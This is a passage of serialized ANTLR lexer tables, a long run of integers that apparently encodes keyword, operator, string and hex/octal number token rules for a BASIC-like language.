3, 383, 191, 0, 1224, 1225, 3, 463, 231, 0, 1225, 1226, 3, 481, 240, 0, 1226, 1227, 3, 461, 230, 0, 1227, 1228, 5, 32, 0, 0, 1228, 1229, 3, 471, 235, 0, 1229, 1230, 3, 465, 232, 0, 1230, 202, 1, 0, 0, 0, 1231, 1232, 3, 479, 239, 0, 1232, 1233, 3, 463, 231, 0, 1233, 204, 1, 0, 0, 0, 1234, 1235, 3, 479, 239, 0, 1235, 1236, 3, 471, 235, 0, 1236, 1237, 3, 461, 230, 0, 1237, 206, 1, 0, 0, 0, 1238, 1239, 3, 479, 239, 0, 1239, 1240, 3, 475, 237, 0, 1240, 1241, 3, 461, 230, 0, 1241, 1242, 3, 471, 235, 0, 1242, 1243, 3, 489, 244, 0, 1243, 208, 1, 0, 0, 0, 1244, 1245, 3, 479, 239, 0, 1245, 1246, 3, 483, 241, 0, 1246, 1247, 3, 461, 230, 0, 1247, 210, 1, 0, 0, 0, 1248, 1249, 3, 481, 240, 0, 1249, 1250, 3, 455, 227, 0, 1250, 1251, 3, 479, 239, 0, 1251, 1252, 3, 463, 231, 0, 1252, 212, 1, 0, 0, 0, 1253, 1254, 3, 481, 240, 0, 1254, 1255, 3, 463, 231, 0, 1255, 1256, 3, 501, 250, 0, 1256, 1257, 3, 493, 246, 0, 1257, 214, 1, 0, 0, 0, 1258, 1259, 3, 481, 240, 0, 1259, 1260, 3, 463, 231, 0, 1260, 1261, 3, 499, 249, 0, 1261, 216, 1, 0, 0, 0, 1262, 1263, 3, 481, 240, 0, 1263, 1264, 3, 483, 241, 0, 1264, 1265, 3, 493, 246, 0, 1265, 218, 1, 0, 0, 0, 1266, 1267, 3, 481, 240, 0, 1267, 1268, 3, 483, 241, 0, 1268, 1269, 3, 493, 246, 0, 1269, 1270, 3, 469, 234, 0, 1270, 1271, 3, 471, 235, 0, 1271, 1272, 3, 481, 240, 0, 1272, 1273, 3, 467, 233, 0, 1273, 220, 1, 0, 0, 0, 1274, 1275, 3, 481, 240, 0, 1275, 1276, 3, 495, 247, 0, 1276, 1277, 3, 477, 238, 0, 1277, 1278, 3, 477, 238, 0, 1278, 222, 1, 0, 0, 0, 1279, 1280, 3, 483, 241, 0, 1280, 1281, 3, 457, 228, 0, 1281, 1282, 3, 473, 236, 0, 1282, 1283, 3, 463, 231, 0, 1283, 1284, 3, 459, 229, 0, 1284, 1285, 3, 493, 246, 0, 1285, 224, 1, 0, 0, 0, 1286, 1287, 3, 483, 241, 0, 1287, 1288, 3, 481, 240, 0, 1288, 226, 1, 0, 0, 0, 1289, 1290, 3, 483, 241, 0, 1290, 1291, 3, 481, 240, 0, 1291, 1292, 5, 32, 0, 0, 1292, 1293, 3, 463, 231, 0, 1293, 1294, 3, 489, 244, 0, 1294, 1295, 3, 489, 244, 0, 1295, 1296, 3, 483, 241, 0, 1296, 1297, 3, 489, 244, 0, 1297, 228, 1, 0, 0, 0, 1298, 1299, 3, 483, 241, 0, 1299, 1300, 3, 481, 240, 0, 1300, 1301, 5, 32, 0, 0, 1301, 1302, 3, 477, 238, 0, 1302, 1303, 3, 483, 241, 0, 1303, 1304, 3, 459, 229, 0, 1304, 1305, 3, 455, 227, 0, 1305, 1306, 3, 477, 238, 0, 1306, 1307, 5, 32, 0, 0, 1307, 1308, 3, 463, 231, 0, 1308, 1309, 3, 489, 244, 0, 1309, 1310, 3, 489, 244, 0, 1310, 1311, 3, 483, 241, 0, 1311, 1312, 3, 489, 244, 0, 1312, 230, 1, 0, 0, 0, 1313, 1314, 3, 483, 241, 0, 1314, 1315, 3, 485, 242, 0, 1315, 1316, 3, 463, 231, 0, 1316, 1317, 3, 481, 240, 0, 1317, 232, 1, 0, 0, 0, 1318, 1319, 3, 483, 241, 0, 1319, 1320, 3, 485, 242, 0, 1320, 1321, 3, 493, 246, 0, 1321, 1322, 3, 471, 235, 0, 1322, 1323, 3, 483, 241, 0, 1323, 1324, 3, 481, 240, 0, 1324, 1325, 3, 455, 227, 0, 1325, 1326, 3, 477, 238, 0, 1326, 234, 1, 0, 0, 0, 1327, 1328, 3, 483, 241, 0, 1328, 1329, 3, 485, 242, 0, 1329, 1330, 3, 493, 246, 0, 1330, 1331, 3, 471, 235, 0, 1331, 1332, 3, 483, 241, 0, 1332, 1333, 3, 481, 240, 0, 1333, 1334, 5, 32, 0, 0, 1334, 1335, 3, 457, 228, 0, 1335, 1336, 3, 455, 227, 0, 1336, 1337, 3, 491, 245, 0, 1337, 1338, 3, 463, 231, 0, 1338, 236, 1, 0, 0, 0, 1339, 1340, 3, 483, 241, 0, 1340, 1341, 3, 485, 242, 0, 1341, 1342, 3, 493, 246, 0, 1342, 1343, 3, 471, 235, 0, 1343, 1344, 3, 483, 241, 0, 1344, 1345, 3, 481, 240, 0, 1345, 1346, 5, 32, 0, 0, 1346, 1347, 3, 463, 231, 0, 1347, 1348, 3, 501, 250, 0, 1348, 1349, 3, 485, 242, 0, 1349, 1350, 3, 477, 238, 0, 1350, 1351, 3, 471, 235, 0, 1351, 1352, 3, 459, 229, 0, 1352, 1353, 3, 471, 235, 0, 1353, 1354, 3, 493, 246, 0, 1354, 238, 1, 0, 0, 0, 1355, 1356, 3, 483, 241, 0, 1356, 1357, 3, 485, 242, 0, 1357, 1358, 3, 493, 246, 0, 1358, 1359, 3, 471, 235, 0, 1359, 1360, 3, 483, 241, 0, 1360, 1361, 3, 481, 240, 0, 1361, 1362, 5, 32, 0, 0, 1362, 1363, 3, 459, 229, 0, 1363, 1364, 3, 483, 241, 0, 1364, 1365, 3, 479, 239, 0, 1365, 1366, 3, 485, 242, 0, 1366, 1367, 3, 455, 227, 0, 1367, 1368, 3, 489, 244, 0, 1368, 1369, 3, 463, 231, 0, 1369, 240, 1, 0, 0, 0, 1370, 1371, 3, 483, 241, 0, 1371, 1372, 3, 485, 242, 0, 1372, 1373, 3, 493, 246, 0, 1373, 1374, 3, 471, 235, 0, 1374, 1375, 3, 483, 241, 0, 1375, 1376, 3, 481, 240, 0, 1376, 1377, 5, 32, 0, 0, 1377, 1378, 3, 485, 242, 0, 1378, 1379, 3, 489, 244, 0, 1379, 1380, 3, 471, 235, 0, 1380, 1381, 3, 497, 248, 0, 1381, 1382, 3, 455, 227, 0, 1382, 1383, 3, 493, 246, 0, 1383, 1384, 3, 463, 231, 0, 1384, 1385, 5, 32, 0, 0, 1385, 1386, 3, 479, 239, 0, 1386, 1387, 3, 483, 241, 0, 1387, 1388, 3, 461, 230, 0, 1388, 1389, 3, 495, 247, 0, 1389, 1390, 3, 477, 238, 0, 1390, 1391, 3, 463, 231, 0, 1391, 242, 1, 0, 0, 0, 1392, 1393, 3, 483, 241, 0, 1393, 1394, 3, 489, 244, 0, 1394, 244, 1, 0, 0, 0, 1395, 1396, 3, 483, 241, 0, 1396, 1397, 3, 495, 247, 0, 1397, 1398, 3, 493, 246, 0, 1398, 1399, 3, 485, 242, 0, 1399, 1400, 3, 495, 247, 0, 1400, 1401, 3, 493, 246, 0, 1401, 246, 1, 0, 0, 0, 1402, 1403, 3, 485, 242, 0, 1403, 1404, 3, 455, 227, 0, 1404, 1405, 3, 489, 244, 0, 1405, 1406, 3, 455, 227, 0, 1406, 1407, 3, 479, 239, 0, 1407, 1408, 3, 455, 227, 0, 1408, 1409, 3, 489, 244, 0, 1409, 1410, 3, 489, 244, 0, 1410, 1411, 3, 455, 227, 0, 1411, 1412, 3, 503, 251, 0, 1412, 248, 1, 0, 0, 0, 1413, 1414, 3, 485, 242, 0, 1414, 1415, 3, 489, 244, 0, 1415, 1416, 3, 463, 231, 0, 1416, 1417, 3, 491, 245, 0, 1417, 1418, 3, 463, 231, 0, 1418, 1419, 3, 489, 244, 0, 1419, 1420, 3, 497, 248, 0, 1420, 1421, 3, 463, 231, 0, 1421, 250, 1, 0, 0, 0, 1422, 1423, 3, 485, 242, 0, 1423, 1424, 3, 489, 244, 0, 1424, 1425, 3, 471, 235, 0, 1425, 1426, 3, 481, 240, 0, 1426, 1427, 3, 493, 246, 0, 1427, 252, 1, 0, 0, 0, 1428, 1429, 3, 485, 242, 0, 1429, 1430, 3, 489, 244, 0, 1430, 1431, 3, 471, 235, 0, 1431, 1432, 3, 497, 248, 0, 1432, 1433, 3, 455, 227, 0, 1433, 1434, 3, 493, 246, 0, 1434, 1435, 3, 463, 231, 0, 1435, 254, 1, 0, 0, 0, 1436, 1437, 3, 485, 242, 0, 1437, 1438, 3, 489, 244, 0, 1438, 1439, 3, 483, 241, 0, 1439, 1440, 3, 485, 242, 0, 1440, 1441, 3, 463, 231, 0, 1441, 1442, 3, 489, 244, 0, 1442, 1443, 3, 493, 246, 0, 1443, 1444, 3, 503, 251, 0, 1444, 1445, 5, 32, 0, 0, 1445, 1446, 3, 467, 233, 0, 1446, 1447, 3, 463, 231, 0, 1447, 1448, 3, 493, 246, 0, 1448, 256, 1, 0, 0, 0, 1449, 1450, 3, 485, 242, 0, 1450, 1451, 3, 489, 244, 0, 1451, 1452, 3, 483, 241, 0, 1452, 1453, 3, 485, 242, 0, 1453, 1454, 3, 463, 231, 0, 1454, 1455, 3, 489, 244, 0, 1455, 1456, 3, 493, 246, 0, 1456, 1457, 3, 503, 251, 0, 1457, 1458, 5, 32, 0, 0, 1458, 1459, 3, 477, 238, 0, 1459, 1460, 3, 463, 231, 0, 1460, 1461, 3, 493, 246, 0, 1461, 258, 1, 0, 0, 0, 1462, 1463, 3, 485, 242, 0, 1463, 1464, 3, 489, 244, 0, 1464, 1465, 3, 483, 241, 0, 1465, 1466, 3, 485, 242, 0, 1466, 1467, 3, 463, 231, 0, 1467, 1468, 3, 489, 244, 0, 1468, 1469, 3, 493, 246, 0, 1469, 1470, 3, 503, 251, 0, 1470, 1471, 5, 32, 0, 0, 1471, 1472, 3, 491, 245, 0, 1472, 1473, 3, 463, 231, 0, 1473, 1474, 3, 493, 246, 0, 1474, 260, 1, 0, 0, 0, 1475, 1476, 3, 485, 242, 0, 1476, 1477, 3, 495, 247, 0, 1477, 1478, 3, 457, 228, 0, 1478, 1479, 3, 477, 238, 0, 1479, 1480, 3, 471, 235, 0, 1480, 1481, 3, 459, 229, 0, 1481, 262, 1, 0, 0, 0, 1482, 1483, 3, 485, 242, 0, 1483, 1484, 3, 495, 247, 0, 1484, 1485, 3, 493, 246, 0, 1485, 264, 1, 0, 0, 0, 1486, 1487, 3, 489, 244, 0, 1487, 1488, 3, 455, 227, 0, 1488, 1489, 3, 481, 240, 0, 1489, 1490, 3, 461, 230, 0, 1490, 1491, 3, 483, 241, 0, 1491, 1492, 3, 479, 239, 0, 1492, 266, 1, 0, 0, 0, 1493, 1494, 3, 489, 244, 0, 1494, 1495, 3, 455, 227, 0, 1495, 1496, 3, 481, 240, 0, 1496, 1497, 3, 461, 230, 0, 1497, 1498, 3, 483, 241, 0, 1498, 1499, 3, 479, 239, 0, 1499, 1500, 3, 471, 235, 0, 1500, 1501, 3, 505, 252, 0, 1501, 1502, 3, 463, 231, 0, 1502, 268, 1, 0, 0, 0, 1503, 1504, 3, 489, 244, 0, 1504, 1505, 3, 455, 227, 0, 1505, 1506, 3, 471, 235, 0, 1506, 1507, 3, 491, 245, 0, 1507, 1508, 3, 463, 231, 0, 1508, 1509, 3, 463, 231, 0, 1509, 1510, 3, 497, 248, 0, 1510, 1511, 3, 463, 231, 0, 1511, 1512, 3, 481, 240, 0, 1512, 1513, 3, 493, 246, 0, 1513, 270, 1, 0, 0, 0, 1514, 1515, 3, 489, 244, 0, 1515, 1516, 3, 463, 231, 0, 1516, 1517, 3, 455, 227, 0, 1517, 1518, 3, 461, 230, 0, 1518, 272, 1, 0, 0, 0, 1519, 1520, 3, 489, 244, 0, 1520, 1521, 3, 463, 231, 0, 1521, 1522, 3, 455, 227, 0, 1522, 1523, 3, 461, 230, 0, 1523, 1524, 5, 32, 0, 0, 1524, 1525, 3, 499, 249, 0, 1525, 1526, 3, 489, 244, 0, 1526, 1527, 3, 471, 235, 0, 1527, 1528, 3, 493, 246, 0, 1528, 1529, 3, 463, 231, 0, 1529, 274, 1, 0, 0, 0, 1530, 1531, 3, 489, 244, 0, 1531, 1532, 3, 463, 231, 0, 1532, 1533, 3, 461, 230, 0, 1533, 1534, 3, 471, 235, 0, 1534, 1535, 3, 479, 239, 0, 1535, 276, 1, 0, 0, 0, 1536, 1537, 3, 489, 244, 0, 1537, 1538, 3, 463, 231, 0, 1538, 1539, 3, 479, 239, 0, 1539, 278, 1, 0, 0, 0, 1540, 1541, 3, 489, 244, 0, 1541, 1542, 3, 463, 231, 0, 1542, 1543, 3, 491, 245, 0, 1543, 1544, 3, 463, 231, 0, 1544, 1545, 3, 493, 246, 0, 1545, 280, 1, 0, 0, 0, 1546, 1547, 3, 489, 244, 0, 1547, 1548, 3, 463, 231, 0, 1548, 1549, 3, 491, 245, 0, 1549, 1550, 3, 495, 247, 0, 1550, 1551, 3, 479, 239, 0, 1551, 1552, 3, 463, 231, 0, 1552, 282, 1, 0, 0, 0, 1553, 1554, 3, 489, 244, 0, 1554, 1555, 3, 463, 231, 0, 1555, 1556, 3, 493, 246, 0, 1556, 1557, 3, 495, 247, 0, 1557, 1558, 3, 489, 244, 0, 1558, 1559, 3, 481, 240, 0, 1559, 284, 1, 0, 0, 0, 1560, 1561, 3, 489, 244, 0, 1561, 1562, 3, 479, 239, 0, 1562, 1563, 3, 461, 230, 0, 1563, 1564, 3, 471, 235, 0, 1564, 1565, 3, 489, 244, 0, 1565, 286, 1, 0, 0, 0, 1566, 1567, 3, 489, 244, 0, 1567, 1568, 3, 491, 245, 0, 1568, 1569, 3, 463, 231, 0, 1569, 1570, 3, 493, 246, 0, 1570, 288, 1, 0, 0, 0, 1571, 1572, 3, 491, 245, 0, 1572, 1573, 3, 455, 227, 0, 1573, 1574, 3, 497, 248, 0, 1574, 1575, 3, 463, 231, 0, 1575, 1576, 3, 485, 242, 0, 1576, 1577, 3, 471, 235, 0, 1577, 1578, 3, 459, 229, 0, 1578, 1579, 3, 493, 246, 0, 1579, 1580, 3, 495, 247, 0, 1580, 1581, 3, 489, 244, 0, 1581, 1582, 3, 463, 231, 0, 1582, 290, 1, 0, 0, 0, 1583, 1584, 3, 491, 245, 0, 1584, 1585, 3, 455, 227, 0, 1585, 1586, 3, 497, 248, 0, 1586, 1587, 3, 463, 231, 0, 1587, 1588, 3, 491, 245, 0, 1588, 1589, 3, 463, 231, 0, 1589, 1590, 3, 493, 246, 0, 1590, 1591, 3, 493, 246, 0, 1591, 1592, 3, 471, 235, 0, 1592, 1593, 3, 481, 240, 0, 1593, 1594, 3, 467, 233, 0, 1594, 292, 1, 0, 0, 0, 1595, 1596, 3, 491, 245, 0, 1596, 1597, 3, 463, 231, 0, 1597, 1598, 3, 463, 231, 0, 1598, 1599, 3, 475, 237, 0, 1599, 294, 1, 0, 0, 0, 1600, 1601, 3, 491, 245, 0, 1601, 1602, 3, 463, 231, 0, 1602, 1603, 3, 477, 238, 0, 1603, 1604, 3, 463, 231, 0, 1604, 1605, 3, 459, 229, 0, 1605, 1606, 3, 493, 246, 0, 1606, 296, 1, 0, 0, 0, 1607, 1608, 3, 491, 245, 0, 1608, 1609, 3, 463, 231, 0, 1609, 1610, 3, 481, 240, 0, 1610, 1611, 3, 461, 230, 0, 1611, 1612, 3, 475, 237, 0, 1612, 1613, 3, 463, 231, 0, 1613, 1614, 3, 503, 251, 0, 1614, 1615, 3, 491, 245, 0, 1615, 298, 1, 0, 0, 0, 1616, 1617, 3, 491, 245, 0, 1617, 1618, 3, 463, 231, 0, 1618, 1619, 3, 493, 246, 0, 1619, 300, 1, 0, 0, 0, 1620, 1621, 3, 491, 245, 0, 1621, 1622, 3, 463, 231, 0, 1622, 1623, 3, 493, 246, 0, 1623, 1624, 3, 455, 227, 0, 1624, 1625, 3, 493, 246, 0, 1625, 1626, 3, 493, 246, 0, 1626, 1627, 3, 489, 244, 0, 1627, 302, 1, 0, 0, 0, 1628, 1629, 3, 491, 245, 0, 1629, 1630, 3, 469, 234, 0, 1630, 1631, 3, 455, 227, 0, 1631, 1632, 3, 489, 244, 0, 1632, 1633, 3, 463, 231, 0, 1633, 1634, 3, 461, 230, 0, 1634, 304, 1, 0, 0, 0, 1635, 1636, 3, 491, 245, 0, 1636, 1637, 3, 471, 235, 0, 1637, 1638, 3, 481, 240, 0, 1638, 1639, 3, 467, 233, 0, 1639, 1640, 3, 477, 238, 0, 1640, 1641, 3, 463, 231, 0, 1641, 306, 1, 0, 0, 0, 1642, 1643, 3, 491, 245, 0, 1643, 1644, 3, 485, 242, 0, 1644, 1645, 3, 459, 229, 0, 1645, 308, 1, 0, 0, 0, 1646, 1647, 3, 491, 245, 0, 1647, 1648, 3, 493, 246, 0, 1648, 1649, 3, 455, 227, 0, 1649, 1650, 3, 493, 246, 0, 1650, 1651, 3, 471, 235, 0, 1651, 1652, 3, 459, 229, 0, 1652, 310, 1, 0, 0, 0, 1653, 1654, 3, 461, 230, 0, 1654, 1655, 3, 463, 231, 0, 1655, 1656, 3, 465, 232, 0, 1656, 1657, 3, 455, 227, 0, 1657, 1658, 3, 495, 247, 0, 1658, 1659, 3, 477, 238, 0, 1659, 1660, 3, 493, 246, 0, 1660, 312, 1, 0, 0, 0, 1661, 1662, 3, 491, 245, 0, 1662, 1663, 3, 493, 246, 0, 1663, 1664, 3, 463, 231, 0, 1664, 1665, 3, 485, 242, 0, 1665, 314, 1, 0, 0, 0, 1666, 1667, 3, 491, 245, 0, 1667, 1668, 3, 493, 246, 0, 1668, 1669, 3, 483, 241, 0, 1669, 1670, 3, 485, 242, 0, 1670, 316, 1, 0, 0, 0, 1671, 1672, 3, 491, 245, 0, 1672, 1673, 3, 493, 246, 0, 1673, 1674, 3, 489, 244, 0, 1674, 1675, 3, 471, 235, 0, 1675, 1676, 3, 481, 240, 0, 1676, 1677, 3, 467, 233, 0, 1677, 318, 1, 0, 0, 0, 1678, 1679, 3, 491, 245, 0, 1679, 1680, 3, 495, 247, 0, 1680, 1681, 3, 457, 228, 0, 1681, 320, 1, 0, 0, 0, 1682, 1683, 3, 493, 246, 0, 1683, 1684, 3, 455, 227, 0, 1684, 1685, 3, 457, 228, 0, 1685, 322, 1, 0, 0, 0, 1686, 1687, 3, 493, 246, 0, 1687, 1688, 3, 463, 231, 0, 1688, 1689, 3, 501, 250, 0, 1689, 1690, 3, 493, 246, 0, 1690, 324, 1, 0, 0, 0, 1691, 1692, 3, 493, 246, 0, 1692, 1693, 3, 469, 234, 0, 1693, 1694, 3, 463, 231, 0, 1694, 1695, 3, 481, 240, 0, 1695, 326, 1, 0, 0, 0, 1696, 1697, 3, 493, 246, 0, 1697, 1698, 3, 471, 235, 0, 1698, 1699, 3, 479, 239, 0, 1699, 1700, 3, 463, 231, 0, 1700, 328, 1, 0, 0, 0, 1701, 1702, 3, 493, 246, 0, 1702, 1703, 3, 483, 241, 0, 1703, 330, 1, 0, 0, 0, 1704, 1705, 3, 493, 246, 0, 1705, 1706, 3, 489, 244, 0, 1706, 1707, 3, 495, 247, 0, 1707, 1708, 3, 463, 231, 0, 1708, 332, 1, 0, 0, 0, 1709, 1710, 3, 493, 246, 0, 1710, 1711, 3, 503, 251, 0, 1711, 1712, 3, 485, 242, 0, 1712, 1713, 3, 463, 231, 0, 1713, 334, 1, 0, 0, 0, 1714, 1715, 3, 493, 246, 0, 1715, 1716, 3, 503, 251, 0, 1716, 1717, 3, 485, 242, 0, 1717, 1718, 3, 463, 231, 0, 1718, 1719, 3, 483, 241, 0, 1719, 1720, 3, 465, 232, 0, 1720, 336, 1, 0, 0, 0, 1721, 1722, 3, 495, 247, 0, 1722, 1723, 3, 481, 240, 0, 1723, 1724, 3, 477, 238, 0, 1724, 1725, 3, 483, 241, 0, 1725, 1726, 3, 455, 227, 0, 1726, 1727, 3, 461, 230, 0, 1727, 338, 1, 0, 0, 0, 1728, 1729, 3, 495, 247, 0, 1729, 1730, 3, 481, 240, 0, 1730, 1731, 3, 477, 238, 0, 1731, 1732, 3, 483, 241, 0, 1732, 1733, 3, 459, 229, 0, 1733, 1734, 3, 475, 237, 0, 1734, 340, 1, 0, 0, 0, 1735, 1736, 3, 495, 247, 0, 1736, 1737, 3, 481, 240, 0, 1737, 1738, 3, 493, 246, 0, 1738, 1739, 3, 471, 235, 0, 1739, 1740, 3, 477, 238, 0, 1740, 342, 1, 0, 0, 0, 1741, 1742, 3, 497, 248, 0, 1742, 1743, 3, 455, 227, 0, 1743, 1744, 3, 489, 244, 0, 1744, 1745, 3, 471, 235, 0, 1745, 1746, 3, 455, 227, 0, 1746, 1747, 3, 481, 240, 0, 1747, 1748, 3, 493, 246, 0, 1748, 344, 1, 0, 0, 0, 1749, 1750, 3, 497, 248, 0, 1750, 1751, 3, 463, 231, 0, 1751, 1752, 3, 489, 244, 0, 1752, 1753, 3, 491, 245, 0, 1753, 1754, 3, 471, 235, 0, 1754, 1755, 3, 483, 241, 0, 1755, 1756, 3, 481, 240, 0, 1756, 346, 1, 0, 0, 0, 1757, 1758, 3, 499, 249, 0, 1758, 1759, 3, 463, 231, 0, 1759, 1760, 3, 481, 240, 0, 1760, 1761, 3, 461, 230, 0, 1761, 348, 1, 0, 0, 0, 1762, 1763, 3, 499, 249, 0, 1763, 1764, 3, 469, 234, 0, 1764, 1765, 3, 471, 235, 0, 1765, 1766, 3, 477, 238, 0, 1766, 1767, 3, 463, 231, 0, 1767, 350, 1, 0, 0, 0, 1768, 1769, 3, 499, 249, 0, 1769, 1770, 3, 471, 235, 0, 1770, 1771, 3, 461, 230, 0, 1771, 1772, 3, 493, 246, 0, 1772, 1773, 3, 469, 234, 0, 1773, 352, 1, 0, 0, 0, 1774, 1775, 3, 499, 249, 0, 1775, 1776, 3, 471, 235, 0, 1776, 1777, 3, 493, 246, 0, 1777, 1778, 3, 469, 234, 0, 1778, 354, 1, 0, 0, 0, 1779, 1780, 3, 499, 249, 0, 1780, 1781, 3, 471, 235, 0, 1781, 1782, 3, 493, 246, 0, 1782, 1783, 3, 469, 234, 0, 1783, 1784, 3, 463, 231, 0, 1784, 1785, 3, 497, 248, 0, 1785, 1786, 3, 463, 231, 0, 1786, 1787, 3, 481, 240, 0, 1787, 1788, 3, 493, 246, 0, 1788, 1789, 3, 491, 245, 0, 1789, 356, 1, 0, 0, 0, 1790, 1791, 3, 499, 249, 0, 1791, 1792, 3, 489, 244, 0, 1792, 1793, 3, 471, 235, 0, 1793, 1794, 3, 493, 246, 0, 1794, 1795, 3, 463, 231, 0, 1795, 358, 1, 0, 0, 0, 1796, 1797, 3, 501, 250, 0, 1797, 1798, 3, 483, 241, 0, 1798, 1799, 3, 489, 244, 0, 1799, 360, 1, 0, 0, 0, 1800, 1801, 5, 38, 0, 0, 1801, 362, 1, 0, 0, 0, 1802, 1803, 5, 58, 0, 0, 1803, 1804, 5, 61, 0, 0, 1804, 364, 1, 0, 0, 0, 1805, 1806, 5, 64, 0, 0, 1806, 366, 1, 0, 0, 0, 1807, 1808, 5, 44, 0, 0, 1808, 368, 1, 0, 0, 0, 1809, 1810, 7, 0, 0, 0, 1810, 370, 1, 0, 0, 0, 1811, 1812, 5, 36, 0, 0, 1812, 372, 1, 0, 0, 0, 1813, 1814, 5, 46, 0, 0, 1814, 374, 1, 0, 0, 0, 1815, 1816, 5, 61, 0, 0, 1816, 376, 1, 0, 0, 0, 1817, 1818, 5, 33, 0, 0, 1818, 378, 1, 0, 0, 0, 1819, 1820, 5, 62, 0, 0, 1820, 1821, 5, 61, 0, 0, 1821, 380, 1, 0, 0, 0, 1822, 1823, 5, 62, 0, 0, 1823, 382, 1, 0, 0, 0, 1824, 1825, 5, 35, 0, 0, 1825, 384, 1, 0, 0, 0, 1826, 1827, 5, 60, 0, 0, 1827, 1828, 5, 61, 0, 0, 1828, 386, 1, 0, 0, 0, 1829, 1830, 5, 123, 0, 0, 1830, 388, 1, 0, 0, 0, 1831, 1832, 5, 40, 0, 0, 1832, 390, 1, 0, 0, 0, 1833, 1834, 5, 60, 0, 0, 1834, 392, 1, 0, 0, 0, 1835, 1836, 5, 45, 0, 0, 1836, 394, 1, 0, 0, 0, 1837, 1838, 5, 45, 0, 0, 1838, 1839, 5, 61, 0, 0, 1839, 396, 1, 0, 0, 0, 1840, 1841, 5, 42, 0, 0, 1841, 398, 1, 0, 0, 0, 1842, 1843, 5, 60, 0, 0, 1843, 1844, 5, 62, 0, 0, 1844, 400, 1, 0, 0, 0, 1845, 1846, 5, 37, 0, 0, 1846, 402, 1, 0, 0, 0, 1847, 1848, 5, 43, 0, 0, 1848, 404, 1, 0, 0, 0, 1849, 1850, 5, 43, 0, 0, 1850, 1851, 5, 61, 0, 0, 1851, 406, 1, 0, 0, 0, 1852, 1853, 5, 94, 0, 0, 1853, 408, 1, 0, 0, 0, 1854, 1855, 5, 125, 0, 0, 1855, 410, 1, 0, 0, 0, 1856, 1857, 5, 41, 0, 0, 1857, 412, 1, 0, 0, 0, 1858, 1859, 5, 59, 0, 0, 1859, 414, 1, 0, 0, 0, 1860, 1861, 5, 91, 0, 0, 1861, 416, 1, 0, 0, 0, 1862, 1863, 5, 93, 0, 0, 1863, 418, 1, 0, 0, 0, 1864, 1870, 5, 34, 0, 0, 1865, 1869, 8, 1, 0, 0, 1866, 1867, 5, 34, 0, 0, 1867, 1869, 5, 34, 0, 0, 1868, 1865, 1, 0, 0, 0, 1868, 1866, 1, 0, 0, 0, 1869, 1872, 1, 0, 0, 0, 1870, 1868, 1, 0, 0, 0, 1870, 1871, 1, 0, 0, 0, 1871, 1873, 1, 0, 0, 0, 1872, 1870, 1, 0, 0, 0, 1873, 1874, 5, 34, 0, 0, 1874, 420, 1, 0, 0, 0, 1875, 1879, 3, 383, 191, 0, 1876, 1878, 8, 2, 0, 0, 1877, 1876, 1, 0, 0, 0, 1878, 1881, 1, 0, 0, 0, 1879, 1877, 1, 0, 0, 0, 1879, 1880, 1, 0, 0, 0, 1880, 1882, 1, 0, 0, 0, 1881, 1879, 1, 0, 0, 0, 1882, 1883, 3, 383, 191, 0, 1883, 422, 1, 0, 0, 0, 1884, 1885, 5, 38, 0, 0, 1885, 1889, 5, 72, 0, 0, 1886, 1887, 5, 38, 0, 0, 1887, 1889, 5, 104, 0, 0, 1888, 1884, 1, 0, 0, 0, 1888, 1886, 1, 0, 0, 0, 1889, 1891, 1, 0, 0, 0, 1890, 1892, 7, 3, 0, 0, 1891, 1890, 1, 0, 0, 0, 1892, 1893, 1, 0, 0, 0, 1893, 1891, 1, 0, 0, 0, 1893, 1894, 1, 0, 0, 0, 1894, 1896, 1, 0, 0, 0, 1895, 1897, 3, 361, 180, 0, 1896, 1895, 1, 0, 0, 0, 1896, 1897, 1, 0, 0, 0, 1897, 424, 1, 0, 0, 0, 1898, 1900, 2, 48, 57, 0, 1899, 1898, 1, 0, 0, 0, 1900, 1901, 1, 0, 0, 0, 1901, 1899, 1, 0, 0, 0, 1901, 1902, 1, 0, 0, 0, 1902, 1907, 1, 0, 0, 0, 1903, 1904, 7, 4, 0, 0, 1904, 1906, 3, 425, 212, 0, 1905, 1903, 1, 0, 0, 0, 1906, 1909, 1, 0, 0, 0, 1907, 1905, 1, 0, 0, 0, 1907, 1908, 1, 0, 0, 0, 1908, 1913, 1, 0, 0, 0, 1909, 1907, 1, 0, 0, 0, 1910, 1914, 3, 383, 191, 0, 1911, 1914, 3, 377, 188, 0, 1912, 1914, 3, 365, 182, 0, 1913, 1910, 1, 0, 0, 0, 1913, 1911, 1, 0, 0, 0, 1913, 1912, 1, 0, 0, 0, 1913, 1914, 1, 0, 0, 0, 1914, 426, 1, 0, 0, 0, 1915, 1917, 2, 48, 57, 0, 1916, 1915, 1, 0, 0, 0, 1917, 1920, 1, 0, 0, 0, 1918, 1916, 1, 0, 0, 0, 1918, 1919, 1, 0, 0, 0, 1919, 1921, 1, 0, 0, 0, 1920, 1918, 1, 0, 0, 0, 1921, 1923, 3, 373, 186, 0, 1922, 1924, 2, 48, 57, 0, 1923, 1922, 1, 0, 0, 0, 1924, 1925, 1, 0, 0, 0, 1925, 1923, 1, 0, 0, 0, 1925, 1926, 1, 0, 0, 0, 1926, 1939, 1, 0, 0, 0, 1927, 1930, 7, 4, 0, 0, 1928, 1931, 3, 403, 201, 0, 1929, 1931, 3, 393, 196, 0, 1930, 1928, 1, 0, 0, 0, 1930, 1929, 1, 0, 0, 0, 1930, 1931, 1, 0, 0, 0, 1931, 1933, 1, 0, 0, 0, 1932, 1934, 2, 48, 57, 0, 1933, 1932, 1, 0, 0, 0, 1934, 1935, 1, 0, 0, 0, 1935, 1933, 1, 0, 0, 0, 1935, 1936, 1, 0, 0, 0, 1936, 1938, 1, 0, 0, 0, 1937, 1927, 1, 0, 0, 0, 1938, 1941, 1, 0, 0, 0, 1939, 1937, 1, 0, 0, 0, 1939, 1940, 1, 0, 0, 0, 1940, 1946, 1, 0, 0, 0, 1941, 1939, 1, 0, 0, 0, 1942, 1947, 3, 383, 191, 0, 1943, 1947, 3, 361, 180, 0, 1944, 1947, 3, 377, 188, 0, 1945, 1947, 3, 365, 182, 0, 1946, 1942, 1, 0, 0, 0, 1946, 1943, 1, 0, 0, 0, 1946, 1944, 1, 0, 0, 0, 1946, 1945, 1, 0, 0, 0, 1946, 1947, 1, 0, 0, 0, 1947, 428, 1, 0, 0, 0, 1948, 1950, 3, 383, 191, 0, 1949, 1951, 3, 453, 226, 0, 1950, 1949, 1, 0, 0, 0, 1951, 1952, 1, 0, 0, 0, 1952, 1950, 1, 0, 0, 0, 1952, 1953, 1, 0, 0, 0, 1953, 430, 1, 0, 0, 0, 1954, 1955, 5, 38, 0, 0, 1955, 1956, 5, 79, 0, 0, 1956, 1958, 1, 0, 0, 0, 